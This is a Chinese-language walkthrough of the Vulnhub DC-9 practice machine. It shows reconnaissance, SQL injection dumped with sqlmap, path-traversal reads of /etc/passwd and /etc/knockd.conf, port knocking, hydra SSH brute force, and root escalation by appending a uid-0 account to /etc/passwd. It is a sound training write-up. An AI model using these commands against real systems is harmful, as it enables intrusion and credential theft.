Vulnhub靶场DC-9练习

news2024/12/26 22:36:47

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. 发现SQL注入点
    • 2. Sqlmap跑数据
    • 3. 文件包含
    • 4. SSH爆破+端口敲门服务
    • 5. 提权(写入/etc/passwd)
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/dc/DC-9.zip

介绍:The ultimate goal of this challenge is to get root and to read the one and only flag。只有一个flag。



0x01 主机信息收集


kali查询本机ip,执行命令:ifconfig

kali本机ip:192.168.22.48

探测目标主机ip,执行命令:netdiscover -i eth0 -r 192.168.22.0/24

目标主机ip:192.168.22.14

探测目标主机开放端口,执行命令:nmap -sV -p 1-65535 -A 192.168.22.14

开放了22端口(filtered ssh表示被过滤了),ssh服务;80端口,http服务,Apache2.4.38。

在这里插入图片描述




0x02 站点信息收集


访问站点:http://192.168.22.14

探测站点的目录结构,执行命令:dirsearch -u 192.168.22.14

在这里插入图片描述




0x03 漏洞查找与利用


1. 发现SQL注入点


在search.php页面,可以提交数据进行查询,并返回查询的结果。

在这里插入图片描述


在manage.php页面可以提交用户名和密码进行登录。

在这里插入图片描述



综合上面两点,考虑在search页面试一下有没有SQL注入。

在search页面,http://192.168.22.14/search.php 提交查询的内容后,查询的结果显示在 http://192.168.22.14/results.php ,考虑是post方式,查询的数据在请求体中。抓包确认一下。

在这里插入图片描述


这里查询可以输入用户名之类的,所以考虑是字符型注入,重点是单引号闭合和注释多余的代码。构造语句:1‘ or 1=1 # ,预期的结果是查询出所有内容。在Display All Records页面,可以看到有17条记录,是所有的内容。

在search页面提交构造的语句:1‘ or 1=1 #

返回的结果是17条记录,说明查询成功。说明这里存在SQL注入。



2. Sqlmap跑数据


这里是POST方式,所以需要使用 -data 来指定参数。

确定是否存在注入,执行语句:sqlmap -u http://192.168.22.14/results.php --data “search=1”

确定是有注入的,并且数据是Mysql。

在这里插入图片描述


获取数据库名:sqlmap -u http://192.168.22.14/results.php --data “search=1” --dbs

有三个数据库:Staff,users,information_schema

在这里插入图片描述


确定当前链接的数据库名:sqlmap -u http://192.168.22.14/results.php --data “search=1” --current-db

当前的数据库是Staff。

在这里插入图片描述



获取Staff数据库的所有表名:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff --tables

有两个表:StaffDetails,Users

在这里插入图片描述


获取Staff数据库,Users表的所有字段名:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff -T Users --columns

有三个字段:Password,UserID,Username

在这里插入图片描述


这三个字段看起来都有点用,直接获取这个表的全部内容:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff -T Users --dump

在这里插入图片描述


admin用户的密码:856f5de590ef37314e7c3bdf6f8a66dc

是一个32位的数字和字母混合起来的密码,考虑MD5加密。

丢到网站里解密:https://www.somd5.com/

解密结果:transorbital1



3. 文件包含


回到站点的Manage页面,用上面的用户名和密码登录。

在这里插入图片描述


其他的页面跟登录前没什么区别,多了Add Record,是一个插入数据的地方。

但是在welcome.php页面这里有个文件不存在的提示。考虑文件包含。

构造:http://192.168.22.14/manage.php?file=/etc/passwd ,页面没有变化。

在路径前面加 ../ ,直到可以回显。

构造:http://192.168.22.14/manage.php?file=../../../../etc/passwd

可以看到passwd文件的内容。

在这里插入图片描述


可以看到很多的用户名。想到之前获取数据库表的时候,还有个users数据库。

获取这个数据库的表:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D users —tables

有个UserDetails表。

在这里插入图片描述


获取这个表的全部内容:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D users -T UserDetails --dump

在这里插入图片描述


这个表里的username用户名在/etc/passwd里面都出现过。

把username和password分别保存到文件user.txt和passwd.txt中,保存的时候去掉每一行后面的空格还有最后的空白行。



4. SSH爆破+端口敲门服务


利用hydra进行ssh爆破,执行命令:hydra -L user.txt -P password.txt 192.168.22.14 ssh

提示目标主机的22端口连不上。

在这里插入图片描述



前面进行端口探测的时候,22端口是过滤的。


考虑端口敲门服务,即knockd服务。简单来说,就是Linux系统其实开启了某个服务端口,但是knockd服务通过动态的添加iptables规则来隐藏系统开启的服务。需要使用自定义的一系列序列号来“敲门”,使被隐藏的服务可以对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

kncoked服务的配置文件是 /etc/knockd.conf ,在这个文件中指明了需要的序列号sequence。

前面文件包含的地方可以查看系统文件,访问:[http://192.168.22.14/manage.php?file=../../../../etc/](http://192.168.22.14/manage.php?file=../../../../etc/passwd)knockd.conf

可以看到用来openssh的序列号是:7469,8475,9842

在这里插入图片描述


执行敲门命令开启22端口:knock 192.168.22.14 7469 8475 9842

执行完以后再看一下目标主机的开放端口,22开启了。(可以和最开始nmap的结果进行对比)

在这里插入图片描述



再来用hydra爆破ssh:hydra -L user.txt -P password.txt 192.168.22.14 ssh

可以看到有三个用户。

在这里插入图片描述


分别ssh登录上这三个用户:ssh username@192.168.22.14

在家目录下分别执行:ls -a (列出目录下的所有文件,包括以 . 开头的隐含文件)

在janitor用户下发现多了一个 .secrets-for-putin 。

查看一下内容,发现了几个密码。

在这里插入图片描述


将这几个密码放到前面保存的密码文件password.txt中,重新用hydra进行ssh爆破:hydra -L user.txt -P password.txt ssh://192.168.22.14

可以看到多了一个用户被破解出来。

在这里插入图片描述


再登录一下这个新用户:ssh fredf@192.168.22.14



5. 提权(写入/etc/passwd)


查看可以进行提权的利用点:sudo -l

这里有个test文件可以以root身份执行。

在这里插入图片描述


进入这个目录:cd /opt/devstuff/dist/test

执行test文件:./test

在这里插入图片描述


这个文件的使用和test.py有关。查找一下这个文件在哪:find / -name test.py 2>/dev/null

在这里插入图片描述


查看这个脚本的内容:cat /opt/devstuff/test.py

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()



这个脚本的作用就是将第一个参数的内容读取出来,添加到第二个参数中。这两个参数是文件的路径名字。

可以考虑给/etc/passwd写入一个具有root权限的用户,用户名为admin,密码为123456。

所以构造一条/etc/passwd的内容保存在一个文件中,利用test命令写入到/etc/passwd文件中。

/etc/passwd的文件结构:

用户名:密码hash值:uid:gid:描述性信息:home目录:默认shell 

其中,uid=gid=0为超级用户,默认shell一般为/bin/bash。


(一开始构造了一个不需要密码的超级用户:hack::0:0::/root:/bin/bash ,结果切换用户登录的时候提示输入密码,所以重新构造一个需要密码的超级用户。用户名为dcdc,密码为123456。)

先用openssl生成admin用户的加密密码:openssl passwd -1 -salt dcdc 123456

得到加密的密码:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1

在这里插入图片描述


构造要插入的内容:dcdc:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1:0:0::/root:/bin/bash

Linux中/tmp目录是任何用户都可以写的。

将构造的数据写入/tmp/admin中:echo 'dcdc:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1:0:0::/root:/bin/bash' > /tmp/dcdc

再将构造的用户利用test写入passwd文件中:sudo /opt/devstuff/dist/test/test /tmp/dcdc /etc/passwd

看一下/etc/passwd文件的内容,可以看到写入成功。

在这里插入图片描述


切换到用户dcdc,进入/root目录,成功。

在这里插入图片描述


0x04 总结


主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放端口和服务。(22端口被过滤)

站点信息收集:

  1. dirsearch扫描站点的目录结构。
  2. 寻找sql注入点,确定注入类型。

漏洞利用:

  1. sqlmap跑数据库,获取登录的用户名和密码。
  2. 发现文件包含。
  3. hydra爆破ssh。
  4. knock服务开启22端口。
  5. 提权,将新用户写入/etc/passwd。



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1973478.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据化项目中如何优化数据分析报表的响应速度

引言:在数据化项目中,优化数据分析报表的响应速度是一个关键任务,它直接影响到用户的体验和决策效率。以下是一些有效的策略和方法来优化数据分析报表的响应速度: 一.从IAAS层优化: 硬件与网络资源优化:提…

无法读取配置节“dataConfiguration”

无法读取配置节“dataConfiguration”&#xff0c;因为它缺少节声明 问题 在web.config中加了<dataConfiguration defaultDatabase"DefaultDB" />&#xff0c;服务器运行报无法读取配置节“dataConfiguration” 分析检查配置文件&#xff1a; Web.config…

前端常用的【设计模式】和使用场景

设计原则 最重要的&#xff1a;开放封闭原则 对扩展开放对修改封闭 工厂模式 用一个工厂函数&#xff0c;来创建实例&#xff0c;隐藏 new 如 jQuery 的 $ 函数&#xff0c;React 的 createElement 函数 单例模式 全局唯一的实例(无法生成第二个) 如 Vuex 和 Redux 的 store…

基于设备上解码的 Yolo 检测

什么是NDVI&#xff1f; 该存储库 ( 修改自 device-decoding) 包含直接使用 DepthAI SDK (main_sdk.py) 或 DepthAI API (main_api.py) 在设备上解码运行 Yolo 目标检测的代码。目前&#xff0c;支持的版本有&#xff1a;YoloV3 & YoloV3-tiny,YoloV4 & YoloV4-tiny,Y…

滑动窗口大总结!!!妈妈以后再也不担心我不会做滑动窗口啦~

写在前面&#xff1a;全部题都源于力扣 讲解题目一&#xff1a;最小覆盖子串题目二&#xff1a;字符串排列题目三&#xff1a;找所有字母异位词题目四&#xff1a;无重复字符的最长子串题目五&#xff1a;滑动窗口的最大值 讲解 滑动窗口算法技巧主要用来解决子数组问题&#…

B 端产品设计:导航系统构建指南

两年前写的一篇关于导航菜单的文章帮助许多学生进入 B 端设计领域。然而&#xff0c;两年过去了&#xff0c;行业在不断发展&#xff0c;文章中的许多观点并不适用于当前的 B 端设计环境。如今的 B 端设计越来越受到重视&#xff0c;所以最近打算深入挖掘之前不太过时的文章内容…

strimzi operator 部署kafka集群(可外部访问)

Strimzi介绍 官方文档:https://strimzi.io/docs/operators/0.42.0/overview#kafka-components_str Strimzi介绍 Strimzi 是一个用于 Apache Kafka 在 Kubernetes 上部署和管理的开源项目。它提供了一组 Kubernetes 自定义资源定义(Custom Resource Definitions,CRDs)、控制…

充电宝有必要买贵的吗?充电宝可以带上高铁吗?充电宝选购方法

市面上的充电宝可以说是非常的多&#xff0c;但是能选到一款适合自己的充电宝基本是不容易的&#xff0c;然而&#xff0c;当我们准备选购充电宝时&#xff0c;常常会面临诸多疑问。其中&#xff0c;“充电宝有必要买贵的吗”就是一个备受关注的问题。价格似乎成为了我们在众多…

[Git][认识Git]详细讲解

目录 1.什么是仓库&#xff1f;2.认识工作区、暂存区、版本库3.认识 .git1.index2.HEAD && master3.objects4.总结 1.什么是仓库&#xff1f; 仓库&#xff1a;进⾏版本控制的⼀个⽂件⽬录 2.认识工作区、暂存区、版本库 工作区&#xff1a;在电脑上写代码或⽂件的⽬录…

【C++】C++应用案例-通讯录管理系统

目录 一、整体介绍 1.1、需求和目标 1.2、整体功能描述 二、页面及功能描述 2.1 主菜单 2.2 添加联系人菜单 2.3 显示联系人菜单 2.4 修改联系人菜单 2.5 退出功能 三、流程设计 3.1 主流程 3.2 添加操作流程 3.3 显示联系人操作流程 3.4 修改联系人操作流程 四…

V.PS荷兰阿姆斯特丹VPS详细测评

V.PS怎么样&#xff1f; V.PS的荷兰VPS位于荷兰阿姆斯特丹数据中心&#xff0c;实际的网络从测评的数据来看&#xff1a;电信走的CN2 GIA/AS4809网络、联通走的是CUII/AS9929网络、移动走的是CUII/AS9929网络&#xff0c;也就是说三网都是走的运营商的轻负载线路。 默认的CPU型…

c/c++自增运算符

自增运算符在前&#xff1a;先自增再取值 自增运算符在后&#xff1a;先取值再自增 如图&#xff1a; lptmp等于tmp&#xff0c;但是t等于128&#xff0c;也就说&#xff0c;当位于后面时&#xff0c;先取值&#xff0c;再自增。

数论第四节:二元一次不定方程、勾股数

不定方程定义 解不确定的方程称为不定方程。一般化的定义为&#xff1a;不定方程是指未知数的个数多余方程的个数&#xff0c;或未知数受到某种限制&#xff08;如整数、正整数等&#xff09;的方程和方程组。 二元一次不定方程定义 形如axbyc的形式的方程。其中a,b不等于0&…

python print 函数参数:sep 自定义分隔符,end 自定义结尾符

1. 简述 print 函数可以将内容打印到标准输出&#xff0c;如果不指定 end 参数&#xff0c;默认在输出的内容之后加一个 “回车符\n”。 以下是 print 函数常用的参数用法&#xff1a; print(object, …, sepstr, endstr) object, …&#xff1a;要打印的内容&#xff0c;可以…

如何基于欧拉系统完成第三方软件仓库的安装

首先&#xff0c;我们需要写一个镜像脚本 rootlocalhost yum.repos.d]# vim docker-ce.repo内容如下 [docker-ce] namedocker baseurlhttps://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/rhel/9/x86_64/stable/ //我们使用的是清华的镜像源 gpgcheck0 tips:这里告诉大家一…

来点八股文(五) 分布式和一致性

Raft raft 会进入脑裂状态吗&#xff1f;描述下场景&#xff0c;怎么解决&#xff1f; 不会。raft通过选举安全性解决了这个问题&#xff1a; 一个任期内&#xff0c;follower 只会投票一次票&#xff0c;且先来先得&#xff1b;Candidate 存储的日志至少要和 follower 一样新…

Kafka基本讲解

Kafka基本讲解 一&#xff1a;Kafka介绍 Kafka是分布式消息队列&#xff0c;主要设计用于高吞吐量的数据处理和消息传输&#xff0c;适用于日志处理、实时数据管道等场景。Kafka作为实时数仓架构的核心组件&#xff0c;用于收集、缓存和分发实时数据流&#xff0c;支持复杂的…

【单例设计模式】揭秘单例模式:从原理到实战的全方位解析(开发者必读)

文章目录 深入理解单例设计模式&#xff1a;原理、实现与最佳实践引言第一部分&#xff1a;设计模式简介第二部分&#xff1a;单例模式定义第三部分&#xff1a;单例模式的优点和缺点第四部分&#xff1a;单例模式的实现方式懒汉式非线程安全的实现线程安全的实现&#xff08;双…

vmware ubuntu虚拟机网络联网配置

介绍vmware虚拟机配置基础网络环境&#xff0c;同时连接外网&#xff08;通过桥接模式&#xff09;&#xff0c;以及ubuntu下输入法等基础工具安装。 本文基于ubuntu22.04&#xff0c;前提虚拟机已经完成安装。本文更多是针对vmware虚拟机的设置&#xff0c;之前有一篇针对ubun…

第三关:Git 基础知识

一、Git是什么 Git是一种开源的分布式版本控制系统&#xff0c;广泛应用于软件开发领域&#xff0c;尤其是在协同工作环境中。它为程序员提供了一套必备的工具&#xff0c;使得团队成员能够有效地管理和跟踪代码的历史变更。下面是 Git 的主要功能和作用的规范描述&#xff1a…